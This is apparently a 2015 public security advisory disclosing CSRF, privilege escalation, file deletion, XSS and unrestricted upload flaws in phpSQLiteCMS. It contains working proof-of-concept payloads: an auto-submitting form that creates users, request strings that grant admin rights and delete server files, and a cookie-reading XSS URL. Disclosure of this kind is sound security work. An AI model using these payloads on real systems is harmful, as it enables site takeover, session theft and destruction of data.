1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 |
# Exploit Title:CSRF, Unrestricted File Upload, Privilege escalation & XSS # Google Dork: intitle: CSRF, Unrestricted File Upload, Privilege escalation & XSS # Date: 2015-07-12 # Exploit Author:John Page ( hyp3rlinx ) # Website: hyp3rlinx.altervista.org # Vendor Homepage: phpsqlitecms.net # Software Link: phpsqlitecms.net/download # Version: ilosuna-phpsqlitecms-d9b8219 # Tested on: windows 7 SP1 # Category: Web apps CMS Vendor: ================================ phpsqlitecms.net Product: ================================ ilosuna-phpsqlitecms-d9b8219 Advisory Information: ============================================================================== CSRF, Unrestricted File type upload, Privilege escalation & XSS Vulnerabilities. User will be affected if they visit a malicious website or click any infected link. Possibly resulting in malicious attackers taking control of the Admin / CMS area. Vulnerability Details: ===================== CSRF: ----- We can add arbitrary users to the system, delete arbitrary web server files and escalate privileges, as no CSRF token is present. Add arbitrary user: ------------------- The following request variables are all that is needed to add users to system. mode = users new_user_submitted = true name = "hyp3rlinx" pw = "12345" pw_r = "12345" Privilege escalation: --------------------- Under users area in admin we can easily gain admin privileges, again using CSRF vulnerability we submit form using our id and change request variable to type '1' granting us admin privileges. e.g. mode:users edit_user_submitted:true id:3 name:hyp3rlinx new_pw: new_pw_r: type:1 <------make us admin Delete arbitrary files: ------------------------ The following request parameters are all we is need to delete files from media or files directorys under the web servers CMS area. mode=filemanager directory=files delete=index.html confirmed=true XSS: ----- We can steal PHP session cookie via XSS vulnerability Unrestricted File Type Upload: ------------------------------ The files & media dirs will happily take .PHP, .EXE etc... and PHP scripts when selected will execute whatever PHP script we upload. Exploit code(s): =============== 1- CSRF POC Add arbitrary users to the system. --------------------------------------------- <script> function doit(){ var e=document.getElementById('evil') e.submit() } </script> </head> <body onLoad="doit()"> <form id="evil" action=" http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php" method="post"> <input type="text" name="mode" value="users"/> <input type="text" name="new_user_submitted" value="true"/> <input type="text" name="name" value="hyp3rlinx" /> <input type="text" name="pw" value="abc123" /> <input type="text" name="pw_r" value="abc123" /> </form> 2- CSRF privilege escalation POST URL: -------------------------------------- http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php Privilege escalation request string: ------------------------------------ mode=users&edit_user_submitted=true&id=3&name=hyp3rlinx&new_pw=&new_pw_r=&type=1 3- CSRF Delete Aribitary Server Files: -------------------------------------- Below request URL will delete the index.html file in files dir on web server without any type of request validation CSRF token etc. http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php?mode=filemanager &directory=files&delete=index.html&confirmed=true XSS steal PHP session ID POC: ----------------------------- http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php?mode=comments&type=0& edit=49&comment_id="/><script>alert('XSS by hyp3rlinx '%2bdocument.cookie)</script>&page=1 Disclosure Timeline: ========================================================= Vendor Notification:NA July 12, 2015: Public Disclosure Severity Level: ========================================================= High Description: ========================================================== Request Method(s): [+] POST & GET Vulnerable Product:[+] ilosuna-phpsqlitecms-d9b8219 Vulnerable Parameter(s):[+] comment_id, delete, type, new_user_submitted Affected Area(s):[+] Admin & CMS =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. (hyp3rlinx) |